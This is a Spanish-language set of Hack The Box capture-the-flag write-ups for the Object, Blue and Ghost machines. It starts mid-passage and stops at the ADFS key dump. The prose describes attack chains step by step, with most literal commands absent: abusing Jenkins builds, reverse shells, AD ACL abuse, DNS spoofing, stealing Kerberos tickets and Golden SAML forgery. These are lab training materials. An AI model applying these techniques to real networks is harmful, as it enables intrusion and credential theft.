Esto nos permite tener acceso completo a cualquier cuenta del dominio sin necesidad de conocer sus contraseñas, ya que disponiendo del hash NTLM podemos realizar ataques como Pass-the-Hash (PtH).
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb
Object
es una máquina Windows que ejecuta el servidor de automatización Jenkins
. Se descubre que el servidor de automatización tiene habilitado el registro y el usuario registrado puede crear compilaciones. Las compilaciones se pueden activar de forma remota configurando un token de API. El punto de apoyo se obtiene descifrando los secretos de Jenkins. Se descubre que el usuario de punto de apoyo tiene permisos ForceChangePassword
en otro usuario llamado smith
. Este abuso de privilegio nos permite obtener acceso a smith
. smith
tiene permisos GenericWrite
en maria
. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. maria
tiene permisos WriteOwner
en el grupo Domain Admins
, cuyos privilegios explotamos para obtener un shell SYSTEM.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Object.
Lanzaremos scripts de reconocimiento sobre el puerto encontrado y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Debido que no disponemos de ningún puerto como SMB, LDAP para enumerar al equipo y ver si se trata de un Domain Controller o de un equipo cliente de un dominio, a través de netexec haremos la validación sobre WinRM que hemos comprobado que estaba expuesto (puerto 5985).
Procederemos a añadir las entradas en nuestro archivo /etc/hosts
Procederemos a realizar una enumeración de las páginas webs que hemos encontrado expuestas (8o y 8080).
Probaremos de aplicar Virtual Hosting para verificar si los sitios webs son diferentes accediendo directamente desde la dirección IP o el nombre DNS, en este caso no se aplica Virtual Hosting.
A través de la herramienta de whatweb revisaremos las tecnologías que utilizan estas páginas web.
Jenkins es una herramienta de integración continua y entrega continua (CI/CD) utilizada en el desarrollo de software para automatizar la construcción, prueba y despliegue de aplicaciones. Es de código abierto y permite a los desarrolladores implementar proyectos de manera más rápida y confiable mediante la automatización de procesos repetitivos.
Probaremos de autenticarnos con credenciales por defecto sin éxito ninguno.
Revisamos en Internet y verificamos de las credenciales por defecto de Jenkins, pero tampoco nos permite acceder.
Verificamos que tenemos una opción para crear una nueva cuenta en Jenkins. Procederemos a crearnos una cuenta.
Verificamos que hemos ganado acceso al panel de Jenkins con el usuario recién creado, el siguiente paso será enumerar Jenkins en busca de información relevante.
Revisando el apartado de "People" vemos que aparece nuestro usuario recién creado y el del usuario "admin".
Volviendo al panel de Dashboard, vemos que podemos crear una nueva tarea en Jenkins.
Al intentar crear una nueva tarea, nos permite seleccionar diferentes modos. En nuestro caso, probaremos con la primera opción de "Freestyle project" y le asignaremos de nombre al trabajo "test".
Comprobamos que estas son las opciones que nos proporciona Jenkins para la creación de un nuevo trabajo.
Verificamos que en el apartado de "Build", nos aparece una serie de opciones la cual la que nos parece más interesante es la de "Execute Windows batch command", ya que parece ser que a través de la creación de la tarea en Jenkins, podríamos llegar a indicar alguna instrucción para que sea ejecutada en la máquina víctima.
Indicaremos en el apartado de "command" que nos ejecute la siguiente instrucción para verificar posteriormente en el resultado del output si se ha logrado ejecutar el comando indicado.
Una vez configurado, procederemos a guardar el trabajo dándole a "Save"
Revisamos que efectivamente el proyecto se ha creado correctamente, pero no nos aparece ninguna opción/botón para iniciar el trabajo.
Existen dos métodos para intentar evitar esta restricción e iniciar el proyecto de otra manera.
La primera opción para que el proyecto se ejecute sin tener que nosotros darle al botón de "Build", es a través de Cron Jobs.
A la hora de crear la tarea, en el apartado de "Build Triggers", nos permite la opción de seleccionar "Build periodically" para que se ejecute el trabajo de manera periódica.
Por lo tanto, nuestro objetivo es que se ejecute para verificar si la instrucción es ejecutada en el equipo. Para ello, especificaremos que se ejecute a cada minuto indicando: * * * * *
Al pasar el minuto después de haber guardado nuevamente el proyecto con la tarea programada, verificamos que se ha ejecutado correctamente el trabajo.
La mejor manera para eludior la restricción del permiso por el cual no tengamos disponible el botón "Build" para iniciar el proyecto, es a través de la opción "Authentication Token".
Tal y como indica Jenkins, podemos crear un nuevo Token el cual al acceder a JENKINS_URL/job/test/build=token=TOKEN_NAME, el proyecto se ejecutará.
Por lo tanto, el objetivo es utilizar la herramienta de cURL para hacer la petición a través de GET para que el proyecto sea ejecutado remotamente y nosotros podamos controlar cuando ejecutar el proyecto.
Esto es más práctico que la primera opción, debido que podemos controlar cuando ejecutarlo, etc.
Verificamos que al tratar de hacer el cURL tal y como nos indicaba Jenkins, nos aparece el mensaje de "Authenticacion required".
Cargaremos una nueva instrucción en el proyecto, en este caso para que se ejecute un "ipconfig".
Realizaremos el build de nuestro proyecto remotamente con nuestro usuario, el token de nuestro usuario que hemos generado y el token creado el proyecto.
Por lo tanto, el método para ejecutar los comandos de manera más eficiente será modificar y guardar el proyecto para que ejecute el comando que establezcamos, enviaremos la solicitud del build remoto con cURL e iremos ingresando incrementando el número del build por cada vez que enviemos el proyecto para visualziar el resultado.
Probaremos de compartirnos el binario de "nc.exe" para posteriormente entablarnos una Reverse Shell hacía el equipo.
Modificaremos el proyecto para que ejecute el siguiente comando, para descargarnos el binario de nc.exe que estamos compartiendo desde nuestro servidor web de Kali.
Verificamos que en el output de la salida de la ejecución del comando, nos devuelve error de conexión "Unable to connect to the remote server", lo cual nos hace pensar que hay algunas reglas de Firewall que nos están bloqueando la salida cualquier tráfico en el equipo.
A través del siguiente comando, listamos las reglas del firewall que bloquean el tráfico saliente y que están habilitadas. Esto nos permite identificar las restricciones que están configuradas para el tráfico hacia el exterior, ayudándonos a comprender mejor cómo se gestionan las conexiones salientes en el sistema.
Verificamos que el resultado obtenido en el output nos indica que existe una regla de Firewall llamada "BlockOutboundDC" que no permite la salida de tráfico hacia el exterior, por ese motivo nos rechazaba la conexión anteriormente.
El siguiente comando que ejecutamos está diseñado para listar las reglas del firewall que bloquean el tráfico saliente, mostrando detalles adicionales como el protocolo, puertos locales y remotos, direcciones remotas y otros atributos. Si en los campos como LocalPort, RemotePort o RemoteAddress aparece "Any", esto indica que la regla no está restringida a un puerto o dirección específica, sino que aplica a todo el tráfico saliente que cumpla con las condiciones básicas de la regla (en este caso, dirección Outbound y acción Block).
Esto significa que esas reglas están configuradas para bloquear cualquier tráfico saliente sin discriminar por puerto o dirección, lo que puede implicar restricciones muy amplias en el sistema.
A través del siguiente comando, enumeramos todas las reglas de Firewall que estén configuradas para permitir el tráfico saliente (Outbound), que se encuentren habilitadas y cuya acción sea permitir (Allow).
En el resultado obtenido, verificamos que existe una regla configurada para permitir tráfico ICMP hacia el exterior (Outbound).
Configuraremos el proyecto para que ejecute el comando ping hacia nuestra Kali y con tcpdump procederemos a revisar si recibimos los paquetes ICMP.
Buscando vías potenciales para obtener más privilegios o nuevas credenciales, debido que nos encontramos en un Jenkins, lo que pensamos es en intentar dumpear las credenciales almacenadas y posteriormente desencriptarlas.
Dado que nos encontramos en la ruta C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test
procederemos a listar dos directorios anteriores para ver qué contenido dispone.
En el output mostrado, verificamos que nos aparece los directorios "users" y "secrets" los cuales necesitaremos para intentar buscar los archivos correspondientes para desencriptar la contraseña de Jenkins del usuario "admin".
Al revisar el directorio /users
verificamos que nos aparecen dos usuarios creados, el del "admin" y el que hemos creado anteriormente. El usuario que nos interesa obtener su "config.xml" es el del usuario "admin".
Al acceder al directorio /users/admin_17207690984073220035
verificamos que vemos el archivo que necesitamos "config.xml".
Procederemos a verificar el contenido del archivo "config.xml" a través del siguiente comando.
Guardaremos el contenido del archivo de manera local en nuestra Kali.
A continuación, procederemos a listar el directorio /secrets
y comprobamos que disponemos del archivo "hudson.util.Secret" y "master.key" necesarios para la desencriptación de la contraseña de Jenkins del usuario "admin".
Listaremos el contenido del archivo "master.key" a través de la siguiente instrucción.
Copiaremos el contenido para obtener el archivo de manera local en nuestra Kali, eliminaremos cualquier salto de línea innecesario y verificaremos que disponemos del contenido del archivo "master.key" de manera local.
Procederemos a intentar comprobar el contenido del archivo "hudson.util.Secret" y al intentar listarlo con "cat", nos aparecen caracteres ilegibles, lo cual parece indicar que el archivo se trata de un binario, por lo tanto, a través de un "cat" no se puede llegar a comprobar su contenido.
Por lo tanto, lo que realizaremos es mostrar el contenido del archivo pero codificado en Base64 para posteriormente descodificarlo en nuestro equipo local.
Procederemos a descodificar y a almacenarlo en un archivo local llamado "hudson.util.Secret".
Nos descargaremos el binario en nuestra Kali a través del siguiente comando.
Al ejecutar el binario, comprobaremos la sintaxis para el uso de la herramienta.
Al intentar desencriptar la contraseña del usuario "admin" de Jenkins a través de la herramienta Jenkins Credentials Decryptor con los tres archivos obtenidos, comprobamos que nos muestra la contraseña del usuario "oliver" en texto plano.
Intentaremos verificar con netexec si este usuario es válido para acceder al WinRM con las credenciales encontradas y verificamos que si.
Accederemos al WinRM a través de evil-winrm y verificaremos que obtenemos la flag del user.txt.
Una vez ganado acceso al equipo, deberemos de buscar maneras para elevar nuestros privilegios y convertirnos finalmente en Domain Admins.
Verificaremos los permisos que disponemos y a qué grupos forma parte el usuario (oliver@object.local), no vemos ningún permiso ni grupo que podamos realizar un PrivEsc.
Ingresaremos al directorio C:\Users\
y comprobaremos que aparecen los siguientes usuarios.
Verificaremos puertos abiertos en la máquina en busca de alguno sospechoso, en este caso, no encontramos nada relevante.
Listaremos los directorios de Program Files
en busca de algún programa inusual, en este caso, tampoco encontramos nada relevante.
Enumeramos los usuarios del dominio y los grupos del dominio, pero tampoco podemos sacar nada más relevante para realizar un PrivEsc.
Debido que enumerando manualmente no hemos podido lograr encontrar ninguna vía potencial para elevar nuestro privilegio, lo que realizaremos es realizar la enumeración a través del Collector de SharpHound para posteriormente subir el .zip en el BloodHound en busca de buscar vías potenciales para elevar nuestros privilegios.
Lo primero será subir el binario de SharpHound a través del comando "upload" y posteriormente procederemos a descargar el comprimido obtenido para obtenerlo en nuestro equipo local a través del comando "download" que nos ofrece evil-winrm.
Enumerando desde BloodHound, verificamos que el único usuario Domain Admin del dominio es el mismo usuario Administrator.
Buscando una vía potencial para elevar nuestros privilegios para convertirnos en Domain Admins, nos encontramos con la siguiente ruta la cual parecee ser la más adecuada.
A través del usuario que disponemos actualmente (oliver@object.local), disponemos de permisos de ForceChangePassword sobre el usuario (smith@object.local).
Revisando la información del permiso en Bloodhound, nos informa que el usuario que disponemos actualmente tiene la capacidad de modificarle la contraseña al usuario sobre el cual tenemos permisos sin conocer la contraseña actual de este último.
Dado que nos encontramos en el mismo equipo Windows, procederemos a realizar el apartao de "Windows Abuse".
Para realizar esta explotación, necesitaremos disponer de PowerView en el equipo víctima.
Al tratar de importarlo en memoria con IEX, verificamos que nos aparece el error de "Unable to connect to the remote server" debido a las reglas de Firewall que no permite el tráfico saliente tal como enumeramos anteriormente.
Por lo tanto, procederemos a subir a través del comando "upload" el archivo PowerView.ps1 y lo importaremos en el equipo.
A través de la variable $UserPassword crearemos una SecureString de la contraseña que le asignaremos al usuario (smith@object.local).
Mediante la función Set-DomainUserPassword procederemos a cambiarle la contraseña al usuario (smith).
Verificaremos a través de netexec de que las credenciales se han modificado correctamente y también procederemos a conectarnos al WinRM con estas nuevas credenciales obtenidas.
Volviendo a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (smith@object.local) dispone de privilegios GenericWrite sobre el usuario (maria@object.local).
Revisando la información sobre el permiso que nos indica BloodHound, verificamos que este acceso otorga la capacidad de escribir en cualquier atributo no protegido en el objeto de destino, incluidos los "miembros" de un grupo y los servicePrincipalName de un usuario.
Lo que podemos pensar en realizar es un ataque llamado Targeted Kerberoasting desde Windows.
Este ataque lo que realiza es agregar un SPN (Service Principal Name) ficticio a una cuenta. Una vez que la cuenta tenga establecido el SPN, la cuenta se vuelve vulnerable al ataque de Kerberoasting. Lo cual posteriormente podemos obtener el TGS (Ticket Granting Service), es decir un hash que posteriormente podemos intentar crackear de manera offline.
En este caso, el ataque se realiza Set-DomainObject y Get-DomainSPNTicket.
Probando de realizar el Targeted Kerberoast, nos aparece un error de Kerberos, lo cual no nos permite realizar dicho ataque.
Este permiso permite a un atacante modificar las propiedades de un usuario. Un atacante puede llegar a cambiar la ruta del script de inicio de sesión (Script Path Logon) de un usuario para ejecutar un script malicioso al iniciar sesión.
En este caso, lo que realizaremos es crear un script (.ps1) que contenga la instrucción de listar el contenido del directorio C:\Users\Maria\Desktop y lo almacene el resultado en el directorio que estamos actualmente en el archivo "output.txt".
Este script le asignaremos de nombre "test.ps1", una vez creado el script, procederemos a asignarle el script en la ruta de inicio de sesión del usuarioo, para que cuando el usuario acceda al equipo, se ejecute el script.
Verificamos que el contenido obtenido nos muestra que la usuaria dispone de un Excel (Engines.xls) en el directorio Desktop de su usuario.
Una vez sepamos que existe este archivo en el directorio C:\Users\Maria\Desktop. El siguiente paso será realizar una copia de ese archivo al directorio en el que nos encontramos actualmente.
Para ello modificaremos de nuevo el script anterior "test.ps1" e indicaremos que realice la copia del archivo a nuestro directorio actual.
Al volver a comprobar el directorio actual, verificamos que se nos ha copiado correctamente el archivo "Engines.xls" que procederemos a descargarnos a nuestra Kali.
Verificaremos que se nos ha descargado correcamente el archivo en nuestro equipo local. Procederemos a abrirlo a través de LibreOffice.
Al abrir el Excel descargado,verificamos que dispone de credenciales de diferentes sitios sobre la usuaria (maria@object.local).
Guardaremos las credenciales en el archivo "passwords.txt".
Proabremos de validar si alguna de las credenciales obtenidas es válida para la usuaria, una vez verificado, procederemos a conectarnos al WinRM a través de evil-winrm.
Al volver a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (maria@object.local) dispone de privilegios de WriteOwner sobre el grupo (Domain Admins@object.local).
Revisando la información proporcionada por BloodHound sobre el privilegio en cuestión, observamos que el permiso WriteOwner sobre un grupo permite a un atacante modificar el propietario del mismo, lo que le otorga la capacidad de tomar control total sobre dicho grupo.
Al cambiar el propietario a su propia cuenta, el atacante podría manipular el grupo de diversas formas, como agregar o quitar miembros, modificar permisos o incluso utilizar el grupo para obtener privilegios más altos dentro del dominio.
Utilizamos el comando Set-DomainObjectOwner
para transferir la propiedad del grupo a "maria", lo que nos permitió cambiar cualquier aspecto del grupo, incluidos sus miembros y permisos.
A continuación, utilizamos Add-DomainObjectAcl
para otorgar a "maria" permisos completos sobre el grupo y, con Add-DomainGroupMember, la agregamos como miembro del grupo Domain Admins, asegurando su acceso a privilegios de administrador en el dominio.
Finalmente, verificamos la pertenencia de "maria" al grupo mediante el comando net user /domain, confirmando su escalada de privilegios y control completo sobre el dominio.
Volveremos a iniciar una nueva sesión de WinRM a través de evil-winrm para que se apliquen los cambios en la nueva sesión.
Una vez ganado el acceso, verificaremos que podemos eumerar el contenido de la flag root.txt.
Blue
, aunque posiblemente sea la máquina más simple en Hack The Box, demuestra la gravedad del exploit EternalBlue, que se ha utilizado en múltiples ataques de ransomware y criptominería a gran escala desde que se filtró públicamente.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Blue. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos un escaneo más profundo a través de la herramienta de Nmap y sus scripts sobre el puerto SMB (445).
En el resultado obtenido, verificamos que la máquina es vulnerable a MS17-010 (EternalBlue).
Verificaremos la arquitectura y el sistema operativo del equipo víctima. A través de nxc comprobamos que se trata de un Windows 7 Professional x64
.
Nos descargaremos el siguiente repositorio, para realizar el ataque y ejecutaremos el script Win7Blue
.
Estableceremos en el apartado de RHOST
la dirección IP del equipo víctima, por otro lado, configuraremos nuestra dirección IP y puerto donde estaremos en escucha.
Desde una nueva terminal, nos pondremos en escucha tal y como nos indica el script.
Ejecutaremos el exploit dándole al Enter.
Verificaremos que hemos ganado acceso como usuario NT AUTHORITY\SYSTEM
y podemos visualizar las flags de user.txt y root.txt.
Ghost
es una máquina Windows Active Directory de dificultad Insane que comienza con una inyección LDAP que un atacante puede aprovechar para filtrar las credenciales de una instancia de Gitea.
Analizando el código fuente de los repositorios, el atacante puede combinar una vulnerabilidad de lectura arbitraria de archivos con una vulnerabilidad de ejecución remota de código (RCE) para obtener acceso a un servidor Linux conectado al entorno de Active Directory.
Enumerando el sistema Linux, el atacante logra extraer un ticket Kerberos de un usuario de dominio, lo que le permite obtener acceso al propio Active Directory.
Dentro del dominio, el atacante puede crear una entrada DNS maliciosa para capturar el hash de otro usuario de dominio. Con este nuevo usuario comprometido, puede leer la contraseña GMSA de una cuenta de servicio relacionada con los servicios ADFS.
Comprometiendo esta cuenta de servicio, el atacante puede forjar una respuesta Golden SAML y conseguir acceso a un panel de gestión de bases de datos. Desde allí, explotando una base de datos MSSQL vinculada a un dominio diferente, puede ejecutar código en una máquina de ese segundo dominio.
Finalmente, elevando privilegios y aprovechando la relación de confianza bidireccional entre los dos dominios, el atacante puede crear un Golden Ticket Kerberos válido para ambos dominios, logrando así comprometer completamente todo el bosque de Active Directory.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Ghost. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
A través de la herramienta de netexec
y ldapsearch
enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname
, versión del SO y el nombre del dominio.
Añadiremos en nuestro archivo /etc/hosts
las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.
Realizaremos una enumeración de las tecnologías presentes en las diferentes páginas web que hemos encontrado en diferentes puertos.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Realizaremos una enumeración de subdominios a través de la herramienta de ffuf
con diferentes diccionarios, nos encontramos con los siguientes subdominios.
Después de una enumeración de subdominios de la página web, añadiremos las siguientes entradas en nuestro archivo /etc/hosts
.
Al investigar más en la página web de Gitea
nos encontramos con dos nombres de usuarios que probablemente sean del Directorio Activo (AD).
Interceptaremos la solicitud al intentar acceder al panel de intranet.ghost.htb
y verificamos que al enviar la solicitud con el usuario test/test
. Nos devuelve el siguiente mensaje en la respuesta del servidor. También verificamos que los campos del username
y password
tienen de nombre la variable algo relacionado con LDAP
. Lo cual nos hace pensar que por detrás realiza una consulta en LDAP para validar el acceso a la Intranet.
Probaremos de inyectar el siguiente carácter )
para cerrar la query de LDAP y al enviar la solicitud, el servidor nos devuelve un mensaje informando que ha ocurrido un error.
Probaremos de realizar un Authenticacion Bypass
indicándole el nombre de usuario cassandra.shelton
que encontramos en el Gitea
e indicándole como contraseña el carácter *
con lo cual si no está bien configurado, se utilizará como comodín y rellenará el campo de la contraseña.
Al enviar esta solicitud, verificamos que se nos ha generado un Token en la respuesta del servidor, lo cual parece indicarnos que efectivamente hemos podido realizar el Bypass
correctamente.
Al actualizar la página se nos muestra el acceso correspondiente a la Intranet. En la sección de noticias se nos indica lo siguiente.
Al acceder a la sección de Users
, verificamos la existencia de los diferentes usuarios del dominio.
Nos guardaremos en un archivo, el listado de usuarios del dominio que hemos encontrado en la Intranet.
En la sección de Forums
nos encontramos con la siguiente información.
Recordando que en la sección de News
habían indicado que el usuariogitea_temp_principal
disponía de un token almacenado en LDAP. Por lo cual, lo que realizamos es un script de LDAP Injection para intentar obtener las credenciales válidas del usuario indicado a través de iniciar sesión en la Intranet que vimos anteriormente que era vulnerable a LDAP Injection.
Al ejecutar el script, verificamos que a través de fuerza bruta, logra encontrar carácter por carácter, lo que parece ser la contraseña del usuario mencionado.
Verificamos que hemos logrado acceder correctamente al Gitea
con el usuario gitea_temp_principal
.
En los repositorios que dispone el usuario actual, verificamos de la existencia de los repositoris blog
y intranet
.
Al acceder al repositorioghost-dev/blog
se nos indica en el archivoREADME.md
lo siguiente.
Al acceder a revisar el archivo Dockerfile
nos encontramos con el siguiente contenido.
Por otro lado, el archivo docker-compose.yml
contiene la siguiente configuración.
Revisamos el último archivo que disponemos en el repositorio del Blog posts-public.js
y nos encontramos con el siguiente resultado.
El siguiente paso será hacer uso de la API de Ghost, ya que según la información que recopilamos del Gitea, podíamos hacer uso de esta API a través de la API KEY que nos proporcionaron. Verificaremos el funcionamiento de la API a través de la documentación oficial del CMS.
En la documentación, comprobamos que nos aparece un ejemplo de como utilizar esta API.
Interceptaremos la solicitud en BurpSuite
y verificaremos que si podemos hacer uso de la API correctamente.
Le pasamos al ChatGPT el contenido del archivo posts-public.js
para verificar si tenía alguna vulnerabilidad y nos indicó que existía la posibilidad de realizar un Path Traversal
a través del valor extra
.
Trataremos de verificar si podemos revisar el contenido del /etc/passwd
del equipo a través de la vulnerabilidad en combinación de la API de Ghost. Verificamos que hemos logrado leer el archivo indicado, por lo tanto, tenemos una vía para enumerar archivos del sistema.
Si volvemos a mirar el Gitea
, recordaremos que se mos menciona que hay una API compartida entre la Intranet y el blog, almacenada como variable de entorno con el nombre de DEV_INTRANET_KEY
.
A través del Path Traversal
revisaremos las variables de entorno al directorio del proceso que lo accede. Verificamos que nos muestra el contenido en la respuesta por parte del servidor.
Desde Cyberchef
descodificaremos el contenido recibido y verificamos que logramos obtener la variable de entorno DEV_INTRANET_KEY
que mencionaban en Gitea
.
Revisaremos el repositorio de ghost-dev/intranet
el cual contiene la siguiente información en el README.md
.
Nos descargaremos el repositorio de Intranet
para revisar el contenido del repositorio de Intranet
.
Del archivo comprimido .zip
que nos hemos descargado, lo descomprimiremos y accederemos al directorio creado.
A través del comando tree
visualizaremos la estructura de los archivos descargados del repositorio ghost-dev/intranet
.eeeeeeeeeeeee
Realizaremos una búsqueda recursiva en todos los archivos para buscar en dónde hacen uso de la DEV_INTRANET_KEY
. Verificamos que se hace uso de esta clave en el archivo dev.rs
.
Este código implementa un guardia de acceso en Rocket, un framework web de Rust. La estructura DevGuard
se utiliza para verificar si una solicitud tiene un encabezado específico, X-DEV-INTRANET-KEY
, y si el valor de este encabezado coincide con la variable de entorno DEV_INTRANET_KEY
.
Si la clave es correcta, se permite el acceso, y el guardia devuelve un Outcome::Success. Si la clave es incorrecta o no se proporciona, se devuelve un Outcome::Error con un estado de Unauthorized (401).
Este guardia protege las rutas que requieren una clave de autenticación para acceder.
Por otro lado, nos encontramos con el siguiente archivo scan.rs
que se utiliza para lo siguiente.
Este código implementa una ruta en Rocket que permite escanear URLs en publicaciones de un blog. La ruta scan
recibe una solicitud POST
con una URL en formato JSON, utilizando la estructura ScanRequest
.
El flujo de funcionamiento es el siguiente:
Autenticación: Primero, se verifica que la solicitud tenga una clave válida de acceso (DevGuard
).
Comando Bash: Luego, se ejecuta un comando en Bash con la URL proporcionada. Este comando intenta llamar a un script (intranet_url_check
) que debería verificar si la URL es segura.
Respuesta: Dependiendo del resultado de la ejecución del comando, la función responde con un JSON que contiene:
is_safe: Indica si la URL es segura (actualmente siempre es true
).
temp_command_success: Informa si el comando se ejecutó correctamente.
temp_command_stdout y temp_command_stderr: Muestran las salidas estándar y de error del comando ejecutado.
Este endpoint está diseñado para ser utilizado por el blog para verificar la seguridad de las URLs de los posts.
Le pasaremos el archivo scan.rs
al ChatGPT para verificar si existen algunas vulnerabilidades en el archivo. En el resultado obtenido, verificamos que podemos realizar un Command Injection
a través de la entrada de data.url
.
Por lo tanto, lo que probaremos es de acceder al sistema a través de una Reverse Shell, para ello nos ponemos en escucha con nc
.
Ejecutamos el siguiente comando para aprovecharnos de la vulnerabilidad descubierta para enviarnos una Reverse Shell.
Verificamos que hemos ganado acceso al Docker del sistema que levanta la página de Intranet.
Al acceder al equipo, verificamos que nos encontramos como usuario root
. Verificando las variables de entorno que tenemos, nos encontrams con una variable LDAP_BIND_PASSWORD
que parecen ser unas credenciales de LDAP.
Realizaremos un Password Spraying
para verificar si estas credenciales son válidas para algún usuario que disponemos. Verificamos que son las credenciales válidas del usuario intranet_principal
.
Realizaremos una exportación del BloodHound
para verificar posibles vectores de ataque para elevar nuestros privilegios, de momento no logramos encontrar nada interesante.
Volviendo al equipo de Docker, analizamos los archivos y directorios de la raíz. Entre los cuales, nos encontramos con un archivo docker-entrypoint.sh
en el cual al analizar el script, vemos que mencionan un directorio en /root/.ssh/controlmaster
.
Accederemos a /root/.ssh/controlmaster
y verificaremos que existe de un Socket de SSH del usuario florence.ramirez
al equipo dev-workstation
.
Al ejecutar el comando ssh -O check
, revisamos si existe una conexión SSH multiplexada activa. La respuesta Master running (pid=24)
confirma que la conexión principal está activa. Luego, con hostname -I
, obtuvimos la dirección IP de la máquina remota, que es 172.18.0.2
. Finalmente, al usar id
, vimos que el usuario conectado es florence.ramirez
(UID 50), y pertenece a los grupos staff
e it
.
Al analizar nuevamente las variables de entorno de este nuevo usuario, verificamos que parece haber un Ticket Granting Ticket (TGT) del usuario que disponemos. Este ticket se encuentra almacenado enla variable KRB5CCNAME
en el directorio /tmp/krb5cc_50
.
Accederemos al directorio mencionado, y comprobaremos de la existencia del TGT.
En nuestro equipo atacante, nos pondremos en escucha para recibir el archivo mencionado.
Desde el equipo víctima, enviaremos el archivo a través del /dev/tcp
.
Verificamos que disponemos de este archivo en nuestro equipo local correctamente.
Exportaremos el TGT en la variable KRB5CCNAME
y verificaremos que el ticket es válido y lo podemos utilizar.
A través de nxc
, validaremos que el TGT
es válido y podemos hacer uso de este para autenticarnos como el usuario florence.ramirez
sin disponer de sus credenciales.
Después de investigar en BloodHound para verificar las acciones posibles con el usuario florence.ramirez
, no encontramos ninguna vulnerabilidad clara. Sin embargo, recordamos que en la Intranet, el usuario justin.bradley
mencionaba que estaba teniendo problemas para acceder a bitbucket.ghost.htb
.
Esto nos llevó a pensar que podríamos revisar si esa entrada está registrada en el servidor DNS del Domain Controller. Si no lo está, una opción sería verificar si tenemos permisos para agregar una nueva entrada y redirigir el subdominio a nuestro servidor web, lo que nos permitiría realizar un ataque de DNS Spoofing.
A través de la herramienta de bloodyAD
realizaremos una consulta de los registros DNS del servidor.
Dado que el resultado era bastante extenso, lo que realizamos es reenviar la salida del comando a un archvo llamado dnsDump.txt
, para posteriormente filtrar por bitbucket
en el archivo para comprobar si existía esta entrada. En este caso, verificamos que no hay la existencia de este subdominio en los registros del servidor DNS del DC.
Mediante la herramienta de bloodyAD
lo que probamos es de intentar añadir un registro DNS llamado bitbucket
para que apuntáse hacía nuestro servidor web. Comprobamos que se ha podido añadir correctamente el registro, alparecer disponíamos de los permisos necesarios con el usuario florence.ramirez
.
Utilizaremos el responder
para levantar los servicios. Después de un tiempo, verificamos que nos llega el hash NTLMv2 del usuario justin.bradley
, lo cual nos confirma del éxito del DNS Spoofing
.
Trataremos de crackear el hash obtenido y comprobamos que logramos crackear el hash y obtener las credenciales del usuario mencionado.
Trataremos de validar a través de nxc
de si las credenciales son válidas para el usuario, comprobamos que podemos autenticarnos con dichas credenciales y además tenemos permisos para acceder al DC mediante WinRM
dado que tenemos de los permisos necesarios.
Nos conectaremos al Domain Controller a través de evil-winrm
y logramos visualizar la flag de user.txt.
Revisaremos en BloodHound
los Domain Admins existentes en el dominio, en este caso, solamente se muestra al usuarioAdministrator
.
Por otro lado, verificamos que el usuario ADFS_GMSA$
es Kerberoastable. Tratamos de crackear su hash obtenido, pero no logramos crackear el hash para obtener la contraseña del usuario.
Revisando nuevamente en BloodHound
, comprobamos que el usuario actual justin.bradley
dispone de privilegios de ReadGMSAPassword
sobre el objeto ADFS_GMSA$
.
Para recuperar la contraseña GMSA
decidimos utillizar la herramienta de PowerView.py
, al realizar la consulta de Get-GMSA
logramos obtener el hash NTLM del objeto ADFS_GMSA$
.
Validaremos que el hash NTLM del usuario nos sirve para autenticarnos correctamente en el dominio.
Verificamos que el usuario ADFS_GMSA$
dispone del privilegio de CanPSRemote
sobre el Domain Controller, con lo cual, podríamos conectarnos remotamente al DC.
Nos conectaremos al DC
mediante evil-winrm
, verificamos el acceso correctamente.
Por el nombre del equipo, pensamos que quizás esté relacionado con los Active Directory Federation Services (ADFS)
.
Por lo cual, se nos ocurrió en intentar realizar un Golden SAML Attack
.
En este caso, con acceso a la cuenta ADFS_GMSA$, que tiene privilegios sobre el Domain Controller (DC), un atacante puede potencialmente usar esta cuenta para generar un Golden SAML Token. Con dicho token, el atacante podría acceder a cualquier servicio federado que dependa de ADFS para autenticación, como si fuera un usuario legítimo.
Para realizar el Golden SAML Attack, debemos disponer del binario ADFDump.exe, una herramienta muy útil en este tipo de explotación. ADFDump.exe nos permite volcar los datos necesarios desde un Active Directory Federation Services (ADFS) y extraer el certificado privado que se utiliza para firmar los tokens SAML. Este certificado es crucial, ya que es la clave para crear tokens SAML falsificados.
Una vez obtenemos este certificado, podemos generar un token SAML válido para cualquier usuario dentro del dominio, lo que nos permite suplantar identidades y acceder a servicios federados como si fuéramos usuarios legítimos. Lo mejor de este ataque es que, al no necesitar intervención directa de los usuarios afectados, es muy difícil de detectar.
El proceso general sería:
Obtención del certificado: Usamos ADFDump.exe para extraer el certificado privado de ADFS, el cual se encuentra en el servidor de ADFS.
Creación del Golden SAML Token: Con el certificado, generamos el token SAML falso que contiene los datos de cualquier usuario, como si fuera un token legítimo.
Acceso a los servicios federados: Utilizamos el token para acceder a aplicaciones federadas que confían en el sistema de ADFS para autenticación.
Subiremos el ADFSDump.exe
al DC y verificaremos que se encuentra correctamente en el equipo.
Al ejecutar el binario de ADFSDump.exe
en el DC podemos observar los siguientes resultados.
Extracción de la clave privada desde el almacenamiento de Active Directory:
Dominio: ghost.htb
Clave privada extraída:
